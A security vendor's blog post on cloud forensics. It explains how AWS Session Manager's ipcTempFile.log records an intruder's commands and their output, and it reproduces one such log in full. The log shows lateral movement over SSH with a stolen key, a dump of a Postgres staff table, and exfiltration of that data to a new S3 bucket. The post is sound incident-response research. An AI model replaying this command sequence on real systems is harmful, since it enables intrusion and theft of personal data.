Blog

IPC YOU: How the Cado Platform Reveals Attacker Command Outputs 

In our recent blog series with Invictus-IR about responding to an attack in AWS, Cado analysts performed an investigation of two AWS EC2 instances to identify what actions the threat actor had taken while they had command line access. After revisiting the evidence that was captured by the Cado platform, our analysts identified an artifact that will help investigators see not only what commands were executed but also the results.

Background

In part two of the blog series, Cado analysts used file content and timeline analysis to piece together what commands the threat actor had executed. After a further review of the captured systems, we have identified an artifact that was created as a result of the attacker using the AWS Console to gain command line access using Session Manager (SSM).

Findings

When we revisited the evidence, we performed a search for the term prod_data_01 (this is the name of the database that the threat actor extracted data from) across both disks that were acquired by the Cado platform. We were surprised to find references to that search term in i-08e56d6b6c0439daf which was the system the threat actor had connected to using SSM Session Manager and not the system used as Database server. The search term was found in /var/lib/amazon/ssm/i-08e56d6b6c0439daf/session/orchestration/DevOps1-bpvbp-020e0385d1429c31f/Standard_Stream/ipcTempFile.log and when we reviewed the contents of that file we can see that this file contains the same commands seen executed by the threat actor from the bash_history file:

Cado platform enables analysts to easily view contents of file

If you have followed the blog series, you will remember that we identified the following commands that were executed when reviewing the bash_history file for both ssm-user and ec2-user on i-08e56d6b6c0439daf:

Reviewing the bash history within the Cado platform

Research

What is ipcTempFile.log?

AWS documentation makes no reference to ipcTempFile.log. Our testing has revealed  that it is used to store a copy of the AWS Session Manager initiated terminal session. Running a Google search for ipcTempFile.log returned eight results, one of which describes how this file was used to answer a question for a publicly available cloud CTF1.

When Does it get Created?

To connect to an EC2 using Service Manager, the EC2 instance must have the AWS SSM agent running on it, along with the appropriate IAM permission. Here is a link to AWS docs to the Session Manager prerequisite requirements.

How Persistent is the Data?

For Linux, each session connection makes a new directory in: /var/lib/amazon/ssm/<EC2-INSTANCE-ID>/session/orchestration/<USER>-<RANDOM ID>/ as can be seen in the screenshot below:

Session directory in Linux

Similarly, for Windows, each session connection makes a new directory in: C:\ProgramData\Amazon\SSM\InstanceData\<EC2 INSTANCE ID>\session\orchestration as can be seen in the screenshot below:

session directory in Windows

The directories have the following naming convention: <AWS UserName>-<Session ID> and within it there is a subdirectory Standard_Stream, which contains an ipcTempFile.log file for that session.

On both Linux and Windows systems, the directories and files are still available after a system reboot but I haven’t found an option with the ssm-agent configuration as to how long the session directories will be retained for. The ssm-agent README.md file references a setting for performing a Orchestration Directory Cleanup however this appears to be linked to Documents used as part of the SSM process which have a separate directory from Sessions:

OrchestrationDirectoryCleanup (string) - Configure only when it is safe to delete orchestration folder after document execution. This config overrides PluginLocalOutputCleanup when set.

Default: "" - Don't delete orchestration folder after execution
OptionalValue: "clean-success" - Deletes the orchestration folder only for successful document executions.
OptionalValue: "clean-success-failed" - Deletes the orchestration folder for successful and failed document executions.

Conclusion

AWS’ Systems Manager is a powerful feature to centrally manage and monitor not only AWS cloud servers, but also on-premises servers, virtual machines, non-AWS cloud servers and other devices from a single location.

As seen in the case study, the user account that was compromised had permission to connect to a non internet accessible instance using Session Manager. However, using this connection method resulted in the analyst being able to see not only what commands were executed but also their response. This information is extremely useful to the analyst as it can help guide their response actions based on knowing the same information the attacker has at the time of the incident. If you’d like to see how we present this data in our Cado Response platform, you can get a free trial here.

Below is the content of the ipcTempFile.txt from i-08e56d6b6c0439daf:

sh-4.2$
[[email protected] ~]$ ls
key
[[email protected] ~]$ macid=$(curl -sS http://169.254.169.254/latest/meta-data/network/interfaces/macs/) && vpcid=$(curl -sS
http://
[[email protected] ~]$ aws ec2 describe-security-groups --region us-west-2 --filters Name=vpc-id,Values=${vpcid} Name=egress.i
p-permi


SECURITYGROUPS  Managed by Terraform	sg-03e8236c5c01b4418	Security group for development host 	361467201274	vpc-0d6fabeeeea4b2bbe
IPPERMISSIONSEGRESS 	80  	tcp 	80
IPRANGES    	10.0.1.205/32   SSH to appstack database server
IPPERMISSIONSEGRESS 	22  	tcp 	22
IPRANGES    	10.0.1.205/32   SSH to appstack web server
IPRANGES    	10.0.1.82/32	SSH to appstack database server
IPPERMISSIONSEGRESS 	443 	tcp 	443
IPRANGES    	18.34.32.0/20   Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC 
gateway)
IPRANGES    	3.5.64.0/21 	Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES    	3.5.72.0/23 	Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES    	52.218.0.0/17   Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
IPRANGES    	52.92.0.0/17	Allow HTTPS traffic to S3 ranges (will be routed through S3 VPC gateway)
USERIDGROUPPAIRS    	Allow HTTPS traffic to VPC endpoints	sg-0ff6f4ef82f4cf56a	361467201274
TAGS	organisation	bpvbp
TAGS	Name	development-sg-bpvbp
[[email protected] ~]$ ssh [email protected]
The authenticity of host '10.0.1.82 (10.0.1.82)' can't be established.
ECDSA key fingerprint is SHA256:BXhMwY/lHQuMbFLz1S6MbT+mxdj1bC2EQ108qTDDZWY.
ECDSA key fingerprint is MD5:48:85:ae:87:cf:26:90:d5:f1:8d:1a:f7:cf:90:38:55.
Are you sure you want to continue connecting (yes/no)? ^C
[[email protected] ~]$ ssh [email protected] -i key
The authenticity of host '10.0.1.82 (10.0.1.82)' can't be established.
ECDSA key fingerprint is SHA256:BXhMwY/lHQuMbFLz1S6MbT+mxdj1bC2EQ108qTDDZWY.
ECDSA key fingerprint is MD5:48:85:ae:87:cf:26:90:d5:f1:8d:1a:f7:cf:90:38:55.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.1.82' (ECDSA) to the list of known hosts.

   	__|  __|_  )
   	_|  ( 	/   Amazon Linux 2 AMI
  	___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[[email protected] ~]$
[[email protected] ~]$
[[email protected] ~]$
[[email protected] ~]$ sudo -^C
[[email protected] ~]$ ^C
[[email protected] ~]$ sudo -u postgres -i psql
psql (12.11)
Type "help" for help.

postgres=# \l
                               	List of databases
 	Name 	|  Owner   | Encoding |   Collate   |	Ctype	|   Access privileges
--------------+----------+----------+-------------+-------------+-----------------------
 postgres 	| postgres | UTF8 	| en_US.UTF-8 | en_US.UTF-8 |
 prod_data_01 | postgres | UTF8 	| en_US.UTF-8 | en_US.UTF-8 |
 template0	| postgres | UTF8 	| en_US.UTF-8 | en_US.UTF-8 | =c/postgres      	+
          	|      	|      	|         	|         	| postgres=CTc/postgres
 template1	| postgres | UTF8 	| en_US.UTF-8 | en_US.UTF-8 | =c/postgres      	+
          	|      	|      	|         	|         	| postgres=CTc/postgres
(4 rows)

postgres=# \dt
Did not find any relations.
postgres=# \c prod_data_01
You are now connected to database "prod_data_01" as user "postgres".
prod_data_01=# \dt
         	List of relations
 Schema | 	Name  	| Type  |  Owner
--------+---------------+-------+----------
 public | actor     	| table | postgres
 public | address   	| table | postgres
 public | category  	| table | postgres
 public | city      	| table | postgres
 public | country   	| table | postgres
 public | customer  	| table | postgres
 public | film      	| table | postgres
 public | film_actor	| table | postgres
 public | film_category | table | postgres
 public | inventory 	| table | postgres
 public | language  	| table | postgres
 public | payment   	| table | postgres
 public | rental    	| table | postgres
 public | staff     	| table | postgres
 public | store     	| table | postgres
(15 rows)

prod_data_01=# \q
[[email protected] ~]$ cd /tmp && sudo -u postgres psql -d prod_data_01 -c "SELECT * FROM staff;" > /tmp/staff.txt
[[email protected] tmp]$ logout
Connection to 10.0.1.82 closed.
[[email protected] ~]$ scp -i key [email protected]:/tmp/staff.txt .

[[email protected] ~]$ aws s3 mb s3://eu-west-1-prod-data --region eu-west-1
make_bucket: eu-west-1-prod-data
[[email protected] ~]$ aws s3 cp staff.txt s3://eu-west-1-prod-data --region eu-west-1
Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1 file(s) remaining
[[email protected] ~]$ logout
sh-4.2$ exit

1https://infosecwriteups.com/pentesting-cloud-part-1-open-to-the-public-ctf-walkthrough-aa4dae59ec4e

About Cado Security

Cado Security is the provider of the first cloud forensics and incident response platform. By leveraging the scale and speed of the cloud, the Cado platform automates forensic-level data capture and processing across cloud, container, and serverless environments. Only Cado empowers security teams to respond at cloud speed.